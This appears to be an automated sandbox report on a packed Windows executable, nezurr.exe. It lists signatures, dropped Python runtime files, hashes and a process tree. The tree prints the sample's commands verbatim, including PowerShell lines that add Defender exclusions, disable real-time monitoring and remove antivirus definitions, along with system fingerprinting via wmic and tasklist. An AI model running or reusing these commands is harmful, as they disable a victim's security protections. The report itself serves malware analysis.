Resubmissions

30/11/2024, 13:33

241130-qtt2ssvnht10

30/11/2024, 12:40

241130-pwfrhsykgj10

30/11/2024, 01:05

241130-bfj74svnf110

30/11/2024, 01:04

241130-bfebvszlbl10

29/11/2024, 02:23

241129-cvhs9svpep10

28/11/2024, 20:40

241128-zftnjsvqer10

28/11/2024, 15:00

241128-sdtgfa1let10

28/11/2024, 02:05

241128-chyzqawqbm10

28/11/2024, 00:14

241128-ajcf1asraj10

27/11/2024, 23:38

241127-3m3rks1rcr10

Analysis

  • max time kernel
    1s
  • max time network
    3s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    28/11/2024, 15:00

General

  • Target
    nezurr.exe
  • Size 7.5MB
  • Sample241128-sdtgfa1let
  • SHA256 f4d4286a5b93621dac280247aa449c39a018aa4295e6f2c6a8dc80dfcfa64bf7
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 36 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\nezurr.exe
    "C:\Users\Admin\AppData\Local\Temp\nezurr.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3500
    • C:\Users\Admin\AppData\Local\Temp\nezurr.exe
      "C:\Users\Admin\AppData\Local\Temp\nezurr.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nezurr.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4792
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nezurr.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:724
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
          PID:1248
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:5580
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your HWID is not bound.', 0, 'HWID', 32+16);close()""
          3⤵
            PID:2392
            • C:\Windows\system32\mshta.exe
              mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your HWID is not bound.', 0, 'HWID', 32+16);close()"
              4⤵
                PID:1548
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
                PID:5508
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  4⤵
                  • Enumerates processes with tasklist
                  PID:5688
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                3⤵
                  PID:2296
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic csproduct get uuid
                    4⤵
                      PID:5084

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                    • MD5 SHA1 SHA512

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 944B
                    • SHA256 96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864
                    • MD5 SHA1 SHA512

                    VCRUNTIME140.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\VCRUNTIME140.dll
                    • Size 116KB
                    • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                    • MD5 SHA1 SHA512 SSDEEP

                    _bz2.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_bz2.pyd
                    • Size 48KB
                    • SHA256 a1d8ce2c1efaa854bb0f9df43ebccf861ded6f8afb83c9a8b881904906359f55
                    • MD5 SHA1 SHA512 SSDEEP

                    _ctypes.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_ctypes.pyd
                    • Size 59KB
                    • SHA256 ae6512a770673e268554363f2d1d2a202d0a337baf233c3e63335026d223be31
                    • MD5 SHA1 SHA512 SSDEEP

                    _decimal.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_decimal.pyd
                    • Size 107KB
                    • SHA256 19fe4a08b0b321ff9413da88e519f4a4a4510481605b250f2906a32e8bb14938
                    • MD5 SHA1 SHA512 SSDEEP

                    _hashlib.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_hashlib.pyd
                    • Size 35KB
                    • SHA256 926692fcecdb7e65a14ac0786e1f58e880ea8dae7f7bb3aa7f2c758c23f2af70
                    • MD5 SHA1 SHA512 SSDEEP

                    _lzma.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_lzma.pyd
                    • Size 86KB
                    • SHA256 ddbfef8da4a0d8c1c8c24d171de65b9f4069e2edb8f33ef5dfecf93cb2643bd4
                    • MD5 SHA1 SHA512 SSDEEP

                    _queue.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_queue.pyd
                    • Size 26KB
                    • SHA256 fb304ca68b41e573713abb012196ef1ae2d5b5e659d846bbf46b1f13946c2a39
                    • MD5 SHA1 SHA512 SSDEEP

                    _socket.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_socket.pyd
                    • Size 44KB
                    • SHA256 06d91ac02b00a29180f4520521de2f7de2593dd9c52e1c2b294e717c826a1b7d
                    • MD5 SHA1 SHA512 SSDEEP

                    _sqlite3.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_sqlite3.pyd
                    • Size 57KB
                    • SHA256 cca0fbe5268ab181bf8afbdc4af258d0fbd819317a78ddd1f58bef7d2f197350
                    • MD5 SHA1 SHA512 SSDEEP

                    _ssl.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\_ssl.pyd
                    • Size 66KB
                    • SHA256 fe52c34028c5d62430ea7a9be034557ccfecdddda9c57874f2832f584fedb031
                    • MD5 SHA1 SHA512 SSDEEP

                    base_library.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\base_library.zip
                    • Size 1.3MB
                    • SHA256 bdc1f95f0bb15cc6c9c2268ba5c1c31af9bdc2d4272c898231c3861dd3b81415
                    • MD5 SHA1 SHA512 SSDEEP

                    blank.aes

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\blank.aes
                    • Size 110KB
                    • SHA256 2a68cfba7dddab3bb681845b7250ee7780f40772bca8db55b7e75f7f5c4d2e9f
                    • MD5 SHA1 SHA512 SSDEEP

                    libcrypto-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\libcrypto-3.dll
                    • Size 1.6MB
                    • SHA256 88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d
                    • MD5 SHA1 SHA512 SSDEEP

                    libffi-8.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\libffi-8.dll
                    • Size 29KB
                    • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
                    • MD5 SHA1 SHA512 SSDEEP

                    libssl-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\libssl-3.dll
                    • Size 221KB
                    • SHA256 3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4
                    • MD5 SHA1 SHA512 SSDEEP

                    python312.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\python312.dll
                    • Size 1.7MB
                    • SHA256 07642b6a3d99ce88cff790087ac4e2ba0b2da1100cf1897f36e096427b580ee5
                    • MD5 SHA1 SHA512 SSDEEP

                    rar.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\rar.exe
                    • Size 615KB
                    • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
                    • MD5 SHA1 SHA512 SSDEEP

                    rarreg.key

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\rarreg.key
                    • Size 456B
                    • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
                    • MD5 SHA1 SHA512

                    select.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\select.pyd
                    • Size 25KB
                    • SHA256 50e969e062a80917f575af0fe47c458586ebce003cf50231c4c3708da8b5f105
                    • MD5 SHA1 SHA512 SSDEEP

                    sqlite3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\sqlite3.dll
                    • Size 644KB
                    • SHA256 b8273963f55e7bf516f129ac7cf7b41790dffa0f4a16b81b5b6e300aa0142f7e
                    • MD5 SHA1 SHA512 SSDEEP

                    unicodedata.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI35002\unicodedata.pyd
                    • Size 296KB
                    • SHA256 baa76f6fd87d7a79148e32d3ae38f1d1fe5a98804b86e636902559e87b316e48
                    • MD5 SHA1 SHA512 SSDEEP

                    __PSScriptPolicyTest_551luw3v.yfc.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_551luw3v.yfc.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    memory/724-93-0x00000242FD210000-0x00000242FD232000-memory.dmp

                    memory/724-84-0x00007FFC90B83000-0x00007FFC90B85000-memory.dmp

                    memory/1284-70-0x00007FFC91C40000-0x00007FFC92305000-memory.dmp

                    memory/1284-79-0x00007FFCAD1F0000-0x00007FFCAD1FD000-memory.dmp

                    memory/1284-62-0x00007FFCA8C90000-0x00007FFCA8CA9000-memory.dmp

                    memory/1284-64-0x00007FFCAD230000-0x00007FFCAD23D000-memory.dmp

                    memory/1284-66-0x00007FFCA37A0000-0x00007FFCA37D3000-memory.dmp

                    memory/1284-71-0x00007FFCA2AC0000-0x00007FFCA2B8E000-memory.dmp

                    memory/1284-58-0x00007FFCA37E0000-0x00007FFCA3804000-memory.dmp

                    memory/1284-72-0x000001E017890000-0x000001E017DC3000-memory.dmp

                    memory/1284-74-0x00007FFCA6820000-0x00007FFCA6845000-memory.dmp

                    memory/1284-73-0x00007FFC91700000-0x00007FFC91C33000-memory.dmp

                    memory/1284-76-0x00007FFCA7CA0000-0x00007FFCA7CB4000-memory.dmp

                    memory/1284-60-0x00007FFCA2B90000-0x00007FFCA2D0F000-memory.dmp

                    memory/1284-78-0x00007FFCA67F0000-0x00007FFCA681D000-memory.dmp

                    memory/1284-81-0x00007FFCA8D50000-0x00007FFCA8D6A000-memory.dmp

                    memory/1284-82-0x00007FFCA29A0000-0x00007FFCA2ABA000-memory.dmp

                    memory/1284-56-0x00007FFCA8D50000-0x00007FFCA8D6A000-memory.dmp

                    memory/1284-83-0x00007FFCA37E0000-0x00007FFCA3804000-memory.dmp

                    memory/1284-54-0x00007FFCA67F0000-0x00007FFCA681D000-memory.dmp

                    memory/1284-29-0x00007FFCA6820000-0x00007FFCA6845000-memory.dmp

                    memory/1284-32-0x00007FFCAD270000-0x00007FFCAD27F000-memory.dmp

                    memory/1284-25-0x00007FFC91C40000-0x00007FFC92305000-memory.dmp